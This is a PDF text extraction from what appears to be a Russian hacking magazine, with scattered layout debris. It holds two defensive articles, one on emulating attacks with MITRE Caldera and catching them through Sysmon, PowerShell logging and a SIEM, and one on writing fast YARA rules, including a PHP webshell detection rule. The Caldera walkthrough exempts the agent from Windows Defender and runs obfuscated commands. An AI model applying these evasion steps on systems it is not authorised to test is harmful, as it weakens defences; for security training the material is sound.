Выпол­ ним­ эту команду­ в PowerShell на машине, где планиру­ ется­ эмулиро­ вать­ активность атакующих­ . Для лучшего­ эффекта рекомендуем­ установить­ агент с правами­ админис­ тра­ тора­ . По умолчани­ ю Windows будет нам мешать, но мы создадим­ необходимые­ исключения­ для коррек­ тной­ установ­ ки­ . Интерес­ но­ , что свойства­ работы этого­ агента­ занесены­ в базу знаний­ о вредоно­ сах­ в от­ дельной­ статье Microsoft.

Исклю­ чение­ для агента­ в Windows Defender

Если­ установ­ ка­ прошла­ успешно, в веб интерфейсе­ появится­ следующее­ .

Успешн­ о установ­ ленный­ агент

Щелкнув­ на этой строке­ , мы сможем­ увидеть­ параметры­ хоста­ и настрой­ ки­ агента­ .

Парамет­ ры­ агента­

Агент пока тольк­ о установ­ лен­ и не выполняе­ т никаких действий­ . Теперь под­ готовим логирование­ на нашем хосте­ .

ПОДГОТОВКА МОНИТОРИНГА СОБЫТИЙ — SYSMON И ЖУРНАЛЫ

WINDOWS

Стандар­ тные­

инстру­ мен­ ты­ логирования­

ОС Windows не позволя­

т нам увидеть­

множес­ тв­ о интерес­ ных­

событий, происхо­

дящих­

в кишках­ системы­

, поэтому­

на целевую машину мы добавим Sysmon и немного­

волшебс­

тва­ .

 

 

 

 

 

 

 

 

Системный­

монитор (Sysmon) — это служба­ Windows и драйвер­

устрой­

ства. Раньше­ эта утилита­

была частью пакета програм­ мно­ го­ обеспечения­

Sysinternals, теперь принад­ лежаще­

го­ Microsoft. Установ­ ка­ Sysmon позволя­

ет­

отслеживать­

и регистри­ ровать­

системные­

действия­

в журнале­

 

событий

Windows. Он предос­ тавля­

е­ т подробные­

 

 

сведения­

о создании­

процес­ сов­ ,

о сетевых подклю­ чени­

ях­ и изменени­

ях­ времени­

создания­

файлов­ .

 

 

 

 

 

 

Sysmon очень легк­ о установить­

и

развернуть­

.

Загрузить­

 

тулзу­ можно­

с сайта­ Microsoft (кстати­ , есть версия­

и для Linux). Программа­

запускает­ ся­

 

 

 

 

 

 

 

 

 

 

 

в качестве­ службы­ . Основную сложность­

представ­

ляе­ т настрой­

ка­ конфигура­

­

ции, с использовани­

ем­

которой

утилита­

выполняе­

т

свою

 

работу, но,

к счастью, есть уже готовые и обкатан­ ные­

вариан­

ты­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Рекомен­

дуем­

 

выбрать­

конфигура­

ци­ ю

 

по

 

 

 

умолчанию­

 

default

(sysmonconfg.xml). Для установ­ ки­ конфигура­

ции­ используй­ такую команду­ :

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

sysmon.exe -accepteula -i sysmonconfig.xml

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Отсле­ дить­

вредонос­

ные­

или аномаль­

ные­

 

явления­ в системе­

можно­ , собирая

данные­ , которые генериру­ ют агенты­ сбора­ событий Windows (Event Collector)

или SIEM (winlogbeat и другие­

сторон­ ние­

средства­ ). При рассле­ дова­

нии­

киберинциден­

тов­

это позволи­

т понять, как злоумыш­

ленни­

ки­ закрепля­

ются­

и действу­ ют­ в сети. Так, благода­

ря­ анализу­

событий в ОС мы узнали­ , что

в компонен­

тах­ браузе­ ра­ Chrome использует­ ся­ защита производс­

тва­

ком­

пании ESET.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Для работы с событиями­

журналов­

Windows мы будем использовать­

сов­

ременну­ ю SIEM-систему­

. На скриншотах­

ниже показан продук­ т «Лаборатории­

Каспер­ ско­ го­ » KUMA (Kaspersky

 

Unifed Monitoring and Analysis Platform).

В целом не так важно­ , как собирать эти события и где их анализи­

ровать­

, глав­

ное — содержание­

!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

УЧИМСЯ ИМИТИРОВАТЬ И ОБНАРУЖИВАТЬ АТАКИ

С ПОМОЩЬЮ MITRE CALDERA

ЗАПУСК CALDERA-АГЕНТА

Итак, мы имеем­ на хосте­ настро­ енное­ по умолчанию­ логирование­ Windows и установ­ ленный­ с некой конфигура­ цией­ Sysmon. Теперь запустим­ агент имитатор­ и посмотрим­ , что получится­ .

 

 

Активнос­

ти­ агента­ в веб интерфейсе­ KUMA

 

 

В системе­

мониторин­ га­

(SIEM) мы

отключили­

все правила­

корреляции­

(которые подсве­ тили­

бы все подозритель­

ные­

активности­ ). Наша задача —

найти­

подозритель­

ные­

события

вручную­ .

 

События отсортирова­

ны­

по параметру­ EventRecordID журналов­

ОС Windows — в SIEM это столбец­

ExternalID.

 

 

 

 

 

 

 

 

 

 

 

Что мы видим? Произо­ ­шел запуск оснастки­ PowerShell (события до ID 50002), далее глаз цепляет­ ­ся за событие, в ходе которого­ из процес­ ­са PowerShell создает­ ­ся новый файл (в столбце­ Name, который обознача­ ­ет суть события, стои­ т File Created). Созданный­ файл с именем­ sandcat-go. windows.exe запускает­ ­ся на выполнение­ (Name = Image loaded). Здесь же мы видим его контроль­ ­ную сумму­ (ее можно­ использовать­ как IOC для поиска­ в различных­ базах, например­ на VirusTotal). Вдобавок­ у этого­ файла­ нет циф­ ровой подписи­ . Подозритель­ ­но? Вроде­ бы да.

Исполня­ емый­ файл агента­ с контроль­ ной­ суммой­ и информацией­ по сертифика­ ту­

Мы видим, что в подписи­ отсутству­ ют­ значения­ ряда полей. Сравни­ получен­ ный результа­ т с подпись­ ю нормаль­ ного­ файла­ , какого нибудь виндового­ сис­ темного­ . В отличие­ от sandcat-go.windows.exe, у него заполнена­ информа­ ция о компании­ и другие­ характерные­ строки­ .

Системный­ , хороший исполняемый­ файл с валидной­ информацией­ по сертифика­ ту­

Файл однозначн­ о вызывае­ т сомнения­ . Интерес­ но­ , что делае­ т этот подоз­ рительный­ объек­ т после­ установ­ ки­ ?

Закрепле­ ние­ подозритель­ ного­ файла­

В перву­ ю очередь­ вредонос­ ­ной программе­ нужно­ закрепить­ ­ся в системе­ , и она прописы­ ­вает себя в автозапуск­ в качестве­ службы­ , используя­ ключи­ реестра­ . Что дальше­ ? У подобных­ файлов­ обычно­ имеется­ внешнее­ управле­ ние, а значит­ , должны­ присутс­ ­тво­вать и сетевые соединения­ . Эти события логируются­ , и большой­ SIEM все видит (Name = Network connection

detected).

Сетевая­ активность подозритель­ ного­ файла­

В сетевой активности­ участву­ ­ет сам сервер­ управления­ (Caldera), так как в настрой­ ­ках сетевой коммуника­ ­ции агента­ не использует­ ­ся прокси­ .

Чего­ то не хватает­ , да? Кажется­ , мы упустили­ сами команды­ , которые про­ исходили­ в PowerShell... А ведь их можно­ отыскать­ , стои­ т только­ немножко­ потрудить­ ­ся. Для этог­ о нужно­ настро­ ­ить уровень­ логирования­ в системе­ . Нажимаем­ Winkey + R и запускаем­ gpedit.msc. В разделе­ «Конфигура­ ­ция компьюте­ ­ра → Administrative Templates → Windows Components → Windows PowerShell» включаем­ ведение аудита­ по следующим­ событиям­ .

Подкру­ чива­ ем­ логирование­ в Windows

В свойствах­ первог­ о (вести­ логирование­ модулей) пропиши­ в качестве­ Value знак * — это включи­ т логирование­ всех модулей PowerShell.

Настрой­ ка­ Turn on Module Logging

А в свойствах­ второг­ о (включить­ регистра­ ци­ ю блоков­ сценари­ ев­ PowerShell) устанав­ лива­ ем­ флажок­ .

Настрой­ ка­ Turn on PowerShell ScriptBlock Logging

Чтобы­ найти­ логи, нажми­ Win-R, запусти­ eventvwr, а затем в окне Application and Services Logs перейди­ в разде­ л Microsoft → Windows → PowerShell → Operational. Для провер­ ки­ введи­ в консоль­ PowerShell команду­ whoami и най­ ди ее в логах.

Работа­ логирования­ PowerShell

Теперь­ точн­ о будет интерес­ нее­ !

НАЧАЛО АТАКИ

 

 

 

 

 

 

Чтобы­

запустить­

атаку­

по заранее подготов­

ленно­

му­

сценарию­

,

в веб интерфейсе­ Caldera выбираем­ пункт меню Operations, затем при­ думываем­ имя операции­ и указыва­ ­ем активность, которая будет эмулиро­ ­ ваться­ . В нашем случае­ это Discovery (один из этапов­ атак выполнения­ раз­ ведки, подробнее­ о нем читай на сайте­ MITRE, а дополнитель­ ­ные подробнос­ ­ ти — в этой статье). Также­ можн­ о заполнить­ и другие­ параметры­ операции­ , но ты это сделаешь­ , когда­ наберешься­ опыта­ .

Создание­ операции­ в интерфейсе­ Caldera

После­ нажатия кнопки­ Start агент начинае­ т действо­ вать­ , весь процесс­ пос­ ледователь­ н­ о отобража­ ется­ на экране­ , а звездами­ обознача­ ются­ успешно выполненные­ команды­ .

Резуль­ та­ т выполнения­ операции­ в интерфейсе­ Caldera

В ходе эмуляции­ атаки­ проверя­ лись­ различные­ параметры­ : какие юзеры­ есть в системе­ , установ­ лен­ ли антивирус­ и так далее. Проиллюс­ три­ руем­ в качес­ тве примера­ , как Caldera определя­ ет­ , присутс­ тву­ е­ т ли в системе­ антивирус­ . Делается­ это с помощью тривиаль­ ного­ WMI-запроса­ . Провер­ ка­ показала­ , что на хосте­ установ­ лен­ стандар­ тный­ Windows Defender.

Резуль­ та­ т провер­ ки­ наличия антивиру­ са­ в ходе операции­

Вернемся­ к SIEM. Теперь среди­ собранных­ событий, которых внезап­ но­ стало­ больше­ , можн­ о отследить­ , под учеткой­ какого пользовате­ ля­ действо­ вали­ «злоумыш­ ленни­ ки­ » (его SID) и какие консоль­ ные­ команды­ они выполняли­ .

Обнаруже­ ние­ провер­ ки­ наличия антивиру­ са­ агентом­ в SIEM

Попробу­ ­ем немног­ о усложнить задачу для защитников­ : будем использовать­ обфусцирован­ ­ные команды­ PowerShell и посмотрим­ , как они выглядя­ т в логах. Для этог­ о создадим­ новую операци­ ю Obfuscation_Commands с эмуляци­ ­ей активностей­ червя­ . Функция­ обфускации­ настра­ ­ивает­ся в параметрах­ скрыт­

ности (stealth).

Настрой­ ка­ обфускации­ команд в операции­

При выполнении­ операции­ можно­ запускать­ некоторые­ команды­ в консоли­ вручну­ ю и получать вывод.

Ручное­ выполнение­ команд в операции­

Но ручная­ команда­ получилась­ необфусци­ рован­ ной­ . Посмотрим­ , что будет при запуске­ нашей «зачервлен­ ной­ » компании­ .

Загадоч­ ная­ команда­ в операции­

Коман­ ды­ запускают­ ся­ с ключом­ -Enc или -E. Если ты однажды заметишь подобное­ , всегда­ обращай­ на это присталь­ ное­ внимание­ : обычно­ это что то опасное­ . В журналах­ системы­ у нас происхо­ ди­ т кое что поинтерес­ нее­ : сна­ чала выполнялась­ абракадаб­ ра­ , а потом мы явно видим эту команду­ (чудо аудита­ !). На иллюстра­ ции­ стрелками­ указаны­ RecordID в журнале­ , соответс­ ­ твующие­ интересу­ ющим­ нас записям.

Разгадка­ загадочной­ команды­ в операции­

Таким­ образом­ , мы симулирова­ ли­ действия­ атакующе­ го­ с помощью Caldera. С этим фреймвор­ ком­ легко­ провес­ ти­ атаку­ подобно­ Red Team и прокачать­ навыки Blue и Purple Team.

ВЫВОДЫ

Теперь­ ты готов тестировать­ свою инфраструктуру­ ! В статье мы расска­ ­зали о базовых вещах, которые помогут быстрее­ начать пользовать­ ­ся этим инстру­ ­ ментом­ . Все шишки­ мы набили за тебя, но на всякий­ случай­ держи­ в помощь докумен­ ­тацию.

Какие­ выводы можн­ о сделать­ , проана­ лизи­ ровав­ эту смодели­ рован­ ную­ атаку­ ?

Хранить­ журналы­ ОС и систем­ безопасности­ нужно­ не только­ на самой рабочей станции­ , но и в отдельном­ месте­ — там их злодей­ хотя бы не сот­ рет.

Ведение­ расширен­ ­ных журналов­ с помощью Sysmon всегда­ полезно­ и к тому же бесплат­ ­но. Но в зависимос­ ­ти от конфигура­ ­ции может вырасти­ нагрузка­ на хост.

Провес­ ­ти эмуляци­ ю атак не так уж и сложно­ .

Для сбалан­ ­сирован­ной настрой­ ­ки политик аудита­ , в том числе­ для ведения журналов­ в различных­ системах­ , следуе­ т придер­ ­живать­ся рекомен­ ­даций

Microsoft.

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

YARA иногда­ называют­ швейцар­ ским­ ножом вирусных­ аналити­ ков­ . Этот инстру­ мент­ поз­ воляет­ создавать­ набор правил­ , с помощью которых можно­ быстро­ и безошибоч­ но­ детектировать­ вредонос­ ные­ и потенциаль­ ­ но опасные­ программы­ . В этой статье я расска­ жу­ , как писать для YARA идеаль­ ные­ правила­ , чтобы­ движок­ работал максималь­ ­ но быстро­ и эффективно­ .

Николай Потоленский

DFIR Specialist | Malware Analyst kelo598@gmail.com

Если­ ты не знаешь­ , что такое YARA, и желаешь­ познакомить­ ся­ с этим инстру­ мен­ том­ поближе­ , обязатель­ но­ прочитай­ статью «Yara. Пишем пра­ вила, чтобы­ искать малварь­ и не только­ ».

ЧЕТЫРЕХТАКТНЫЙ ДВИГАТЕЛЬ

Как писать быстрые­ правила­ ? Давай заглянем­ под капот YARA и посмотрим­ , как работае­ т сканер­ . Каждое­ сканиро­ вание­ можно­ разложить­ на последова­ ­ тельность­ из четырех тактов­ . В качестве­ примера­ возьмем­ следующее­ пра­ вило YARА:

// Подключаемые модули

import "math"

rule example_php_webshell_rule

{

//Метаданные

meta:

description = "Example php webshell rule"

//Строки

strings:

$php_tag

= "<?php"

$input1

= "GET"

$input2

= "POST"

$payload

= /assert[\t ]{0,100}\(/

 

 

// Условия

 

condition:

 

filesize

< 20KB and

$php_tag

and

$payload

and

any of (

$input* ) and

math.entropy(500, filesize-500) >= 5

}

Ну а теперь разберем­ каждый­ «такт» в деталях.

Такт 1. Пишем или берем из паблика правило

Это действие­ аналитик­ выполняе­ т самостоятель­ но­ , вручную­ . Для поиска­ подстрок­ YARA используе­ т алгоритм­ Ахо — Корасик. Сами подстро­ ки­ носят название­ «атомы­ » (atoms). Максималь­ ная­ длина­ атома­ достига­ е­ т четырех байт.

Разберем­ атомы­ на примерах­ :

/abc.*cde/

В этой регулярке­ есть два атома­ : abc и cde. Каждый­ атом уникален­ и не содержи­ т повторя­ ющих­ ся­ символов­ . Так как они имею­ т одинако­ вую­ длину­ в 3 байта­ , YARA будет использовать­ первый­ атом abc.

/(one|two)three/

Тут доступны­ следующие­ атомы­ : one, two, thre и hree. По идее, мы можем искать thre или hree отдельн­ о или для one и two. А как поведет себя YARA?

Она возьме­ т самый уникаль­ ­ный атом thre, он приведе­ т к меньшему­ количеству­ совпадений­ , чем one и two (они короче). Кроме­ того, он не содер­ жит повторя­ ­ющиеся символы­ e, как в hree. YARA оптимизи­ ­рова­на так, чтобы­ выбрать­ лучшие­ атомы­ из каждой­ строки­ . Взглянем­ на опкоды­ :

{ 00 00 00 00 [1-4] 01 02 03 04 }

В этом случае­ YARA будет использовать­ атом 01 02 03 04, потому что 00 00 00 00 встречает­ ся­ слишком­ часто­ .

{ 01 02 [1-4] 01 02 03 04 }

Атом 01 02 03 04 предпочти­ тель­ нее­ атома­ 01 02, потому что первый­ длин­ нее.

Важно­ , чтобы­ строки­ содержали­ «хорошие» атомы­ . Ниже показаны­ «пло­ хие» строки­ : они содержа­ т либо слишком­ короткие­ , либо неуникаль­ ­ные ато­ мы:

{00 00 00 00 [1-2] FF FF [1-2] 00 00 00 00}

{AB [1-2] 03 21 [1-2] 01 02}

/a.*b/

/a(c|d)/

Худшие­ строки­ — это те, которые вообще­ не содержа­ т атомов­ , например­ вот такие регулярки­ :

/\w.*\d/

/[0-9]+\n/

Исполь­ ­зование регулярных­ выражений­ без явных атомов­ порождае­ т плохие­ детектиру­ ­ющие правила­ , так как влече­ т за собой большие­ нагрузки­ на про­ цессор­ при сканиро­ ­вании всей системы­ .

Атомы­ из нашего правила­ :

<?ph;

GET;

POST;

sser (из assert).

Атомы­ извлекают­ ся­ из строк в правиле­ , затем YARA ищет их в процес­ се­ ска­ нирования­ файлов­ . Если атом найден­ , то проверя­ ется­ полностью­ вся строка­ .

Такт 2. Алгоритм (автомат) Ахо — Корасик

При запуске­ правила­ происхо­ ­дит поиск подстро­ ­ки. Такты­ 2–4 будут выпол­ няться­ для всех файлов­ . YARA ищет в каждом­ файле­ четыре атома­ из нашего правила­ , используя­ дерево префик­ ­сов, называемое­ автоматом­ Ахо — Корасик. Тот же принцип­ использует­ ­ся в grep. Любые совпадения­ переда­ ются дальше­ в движок­ байт кода.

Такт 3. Движок байт-кода

Предположим­ , что во время­ сканиро­ ­вания появилось­ совпадение­ с sser. В этом случае­ на следующем­ шаге YARA проверит­ , был ли перед sser пре­ фикс a и постфикс­ t. Дальше­ начнется­ провер­ ­ка регулярки­ [\t ]{0,100}\(. Благода­ ­ря такой оптимиза­ ­ции YARA избегае­ т сложных­ вычислений­ (в нашем случае­ регулярных­ выражений­ ) и сначала­ выбирае­ т уникаль­ ­ные подстро­ ­ки для их детальног­ о изучения­ .

Такт 4. Условия

После­ выполнения­ всех сравнений­ с образцом в дело вступаю­ т условия­ . За провер­ ­ку условия­ отвеча­ ют вычисления­ по короткой­ схеме­ , также­ извес­ тные как вычисления­ Маккарти­ .

Вычис­ ления­ Маккарти­ — это принцип­ оптимиза­ ции­ вычислений­ , при котором второй­ логический­ оператор­ вычисляет­ ся­ только­ в том случае­ , если первог­ о логического­ операто­ ра­ недостаточ­ но­ для определе­ ния­ зна­ чения выражения­ .

Рассмот­ ­рим простой­ пример­ .

// Условия

condition:

filesize

< 20KB and

$php_tag

and

$payload

and

any of (

$input* ) and

math.entropy(500, filesize-500) >= 5

Допус­ тим­ , если размер­ сканиру­ емо­ го­ файла­ — 25 Кбайт, то общее значение­ всег­ о условия­ ниже будет ЛОЖЬ, так как первым­ условием­ в правиле­ ограниче­ ­ ние на размер­ файла­ 20KB (20 Кбайт). Все просто­ : условия­ оценива­ ются­ сле­ ва направо­ . Если первое­ условие­ — ЛОЖЬ, то все последу­ ющие­ провер­ ки­ выполнять­ ся­ не будут.

// Медленное условие

math.entropy(0, filesize) > 7.0 and uint16(0) == 0x5A4D

// Оптимизированное условие

uint16(0) == 0x5A4D and math.entropy(0, filesize) > 7.0

Будь внимате­ лен­ при использовании­ for в условии­ :

condition:

for all i in (1..filesize) : ( что угодно )

Операция­ что угодно может выполнять­ ­ся очень долго­ на больших­ файлах­ . Давай немног­ о оптимизи­ ­руем правило­ , добавив условие­ провер­ ­ки PE magic bytes:

strings:

$mz = "MZ"

condition:

$mz at 0 and for all i in (1..filesize) : ( что угодно )

Уже лучше­ , но все еще не идеаль­ но­ . Правило­ будет обходить­ обычные­ файлы­ , а большие­ PE будут сканиро­ вать­ ся­ по прежнему­ долго­ . Давай добавим огра­ ничение­ по размеру­ :

$mz at 0 and filesize < 100KB and for all i in (1..filesize) : ( что

угодно )

Таким­ образом­ мы установи­ ­ли границу­ количества­ итераций­ за счет добав­ ления ограниче­ ­ния на размер­ файла­ filesize < 100KB.

Вернемся­ к условиям­ из нашего правила­ :

// Условия

condition:

filesize

< 20KB and

$php_tag

and

$payload

and

any of (

$input* ) and

math.entropy(500, filesize-500) >= 5

Благода­ ря­ вычислени­ ям­ по короткой­ схеме­ провер­ ка­ энтропии­ math. entropy (вычисление­ энтропии­ очень нагружа­ е­ т процес­ сор­ ) будет выпол­ няться­ тольк­ о в том случае­ , если соблюда­ ются­ четыре условия­ перед ним. Если условия­ удовлетво­ рены­ — сообщает­ ся­ о совпадении­ . Сканиро­ вание­ продол­ жает­ ся­ на следующем­ файле­ , начиная со второго­ такта­ .

ПОДКЛЮЧАЕМЫЕ МОДУЛИ

Давай­ посмотрим­ , что именно­ заставля­ ­ет наше правило­ тормозить­ . Казалось­ бы, в YARA есть удобные­ модули для анализа­ PE- и ELF-файлов­ ,

причем­ как встроенные­ , так и созданные­ пользовате­ ­лями (начиная с вер­ сии 3.0). Еще есть модули для работы с архивами­ ZIP и дизас­ ­сем­бле­ром radare2, но пользовать­ ­ся ими не так удобно­ , как кажется­ на первый­ взгляд. Протес­ ­тиру­ем два одинако­ ­вых правила­ . В первом­ будем использовать­ модуль pe, а во втором­ захардко­ ­дим наш мейджик­ MZ в виде опкодов­ .

Сканиро­ ­вание проводи­ ­лось в директории­ объемом­ 10 Гбайт. Как видно­ из результатов­ теста­ , модули растягива­ ­ют время­ сканиро­ ­вания за счет дополнитель­ ­ных вычислений­ . В нашем случае­ лучше­ сделать­ провер­ ­ку через захардко­ ­жен­ные опкоды­ magic bytes.

МЕТАДАННЫЕ

Все, что размеща­ ­ется в разделе­ метаданных­ , считыва­ ­ется движком­ YARA в оператив­ ­ную память. Ты можешь легко­ проверить­ это, вста­ вив 100 000 хешей в правило­ и проверив­ использование­ ОЗУ сканиро­ ­вани­ем YARA до и после­ . Конечно­ , не следуе­ т навсегда­ удалять­ метаданные­ из пра­ вил, но, если на сканиру­ ­емом узле сети мало памяти, ты можешь убрать некоторые­ ненужные­ части­ правила­ непосредс­ ­твен­но перед сканиро­ ­вани­ем.

Подыто­ ­жим правила­ оптимиза­ ­ции.

1.Ищи хорошие атомы­ — чем больше­ уникаль­ ­ных букв, тем лучше­ .

2.Не используй­ плохие­ регулярки­ .

3.Не переигры­ ­вай с циклами­ .

4.Если­ можно­ обойтись­ без модуля, то не подклю­ ­чай его (например­ , magic PE-файла­ ).

5.Расстав­ ­ляй условия­ в правиль­ ­ном порядке­ .

6.Если­ будешь проводить­ сканиро­ ­вание пачкой­ правил­ — удали­ метадан­ ные.

ДОПОЛНИТЕЛЬНЫЕ ИНСТРУМЕНТЫ

Кроме­ официаль­ ног­ о бинарника­ YARA, для сканиро­ вания­ можно­ исполь­ зовать решения EDR/XDR и сканеры­ типа Loki Scaner. EDR/XDR дают воз­ можность проводить­ сканиро­ вание­ сразу­ по всей сетевой инфраструктуре­ , в то время­ как yara.exe ограничи­ вает­ ся­ только­ конкрет­ ной­ машиной, на которой эта программа­ запущена­ .

Velociraptor

Рассмот­ ­рим алгоритм­ запуска­ сканиро­ ­вания на примере­ open-source EDR Velociraptor.

Перехо­ дим­ в разде­ л Hunt Manager.

Создаем­ новый хант и на вкладке­ Select Artifacts выбираем­ вариант­ Windows.Detection.Yara.NTFS для сканиро­ вания­ файловой­ системы­ .

Пишем­ наше прави­ ло на вкладке­ Configure Parameters в поле YaraRule либо загружа­ ем­ его в виде файла­ , восполь­ зовав­ шись­ полем YaraUrl.

После­ настрой­ ­ки всех необходимых­ полей открываем­ вкладку­ Launch, и наш хант попадае­ т в очередь­ на исполнение­ . Если требует­ ­ся мгновен­ ­но выпол­ нить сканиро­ ­вание после­ создания­ ханта­ , открой вкладку­ Configure Hunt

и жми чекбокс­ Start Hunt Immediately.

После­ завершения­ сканиро­ вания­ мы увидим­ успешные детектирова­ ния­ внут­ ри нашего ханта­ на вкладке­ Notebook.

Loki Scaner

Loki Scaner — это консоль­ ная­ утилита­ с открытым­ исходным кодом, которая может выполнять­ сканиро­ вание­ на основе­ правил­ YARA или IOC (Indicator of Compromise — индикато­ ры­ компро­ мета­ ции­ ).

Для добавления­ своих­ прави­ л переходим­ в папку­ loki\signature-base\ yara, после­ чего можем открыть CLI (cmd/terminal) и начать сканиро­ ­вание.

Неболь­ шой­ ман по основным аргумен­ там­ :

-p path — директория­ начала сканиро­ ­вание;

-s kilobyte — максималь­ ­ный размер­ файлов­ в килобайтах­ (по умол­ чанию 5 Мбайт);

--onlyrelevant — выводить в консоль­ только­ срабаты­ ­вания правил­ ;

--allhds — выполнить­ сканиро­ ­вание всех логических­ томов (только­ в Windows).

АТРИБУЦИЯ НА YARA

Упрощая­ , можн­ о сказать­ , что атрибуция­ малвари­ — это способ­ определить­ , к какому семейству­ или APT-группиров­ ­ке относит­ ­ся конкрет­ ­ный образец­ вре­ доносной­ программы­ . Заниматься­ атрибуци­ ­ей для компании­ непросто­ — нужен целый отдел и мощные­ сервера­ (посколь­ ­ку детектиру­ ­ющее правило­ для атрибуции­ конкрет­ ­ного образца будет огромным).

Для выполнения­ атрибуции­ можно­ использовать­ инстру­ ­мент yarGen. Он умее­ т создавать­ общее правило­ для всех файлов­ . В целом алгоритм­ его работы выгляди­ т следующим­ образом­ :

1.Берем­ несколь­ ­ко образцов вредонос­ ­ных программ­ одного­ семейства­ .

2.Запус­ ­каем yarGen, указыва­ ­ем программе­ на папку­ с образцами­ .

3.YarGen ищет общие строки­ и/или опкоды­ , на основе­ которых генерирует­ общее YARA-правило­ , которое является­ атрибути­ ­рующим.

Итоговое­ прави­ ло неидеально­ , желательно­ его причесать­ .

В качестве­ альтер­ нативы­ можно­ сгенери­ ровать­ набор хешей секций­ (ресурсов­ ) известных­ нам угроз. Для этого­ просто­ создаем­ YARA-правило­ , в котором имеются­ все хеши интересу­ ющих­ нас секций­ . Почему не хеши сем­ плов? Все просто­ : достаточ­ но­ добавить пару байтов­ в конец файла­ , и наш хеш поменяется­ , а с секциями­ это сделать­ немного­ сложнее­ .

Еще можн­ о атрибути­ ­ровать подтехни­ ­ки MITTRE (этот вариан­ т я привожу­ чисто­ для примера­ , на деле он не поможет, только­ если ты не собираешь­ ­ся сделать­ собствен­ ­ную платформу­ для атрибуции­ ). Например­ , есть правило­ , которое атрибути­ ­рует подтехни­ ­ку MITTRE T1552.004.

Я считаю­ , что постро­ ения­ атрибуции­ на одной YARA недостаточ­ но­ , я бы добавил в помощь к ней ssdeep. Что такое нечеткое­ хеширование­ , можно­ узнать в статье «Хеш четкий­ и хеш нечеткий­ . Как средства­ защиты ловят и классифици­ ру­ ют малварь­ ».

ЧТО КРОМЕ YARA?

YARA-X — это официаль­ ный­ форк YARA, переписан­ ный­ на языке­ Rust. От про­ екта ожидает­ ся­ повышенная­ скорость­ работы благода­ ря­ оптимиза­ ции­ этого­ языка­ программи­ рова­ ния­ . Я считаю­ , этот проек­ т имее­ т право­ на жизнь: если взглянуть­ на RustScan (неофициаль­ ный­ форк Nmap), то заметн­ о существен­ ­ ное превос­ ходс­ тв­ о в скорос­ ти­ сканиро­ вания­ сетей.

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e
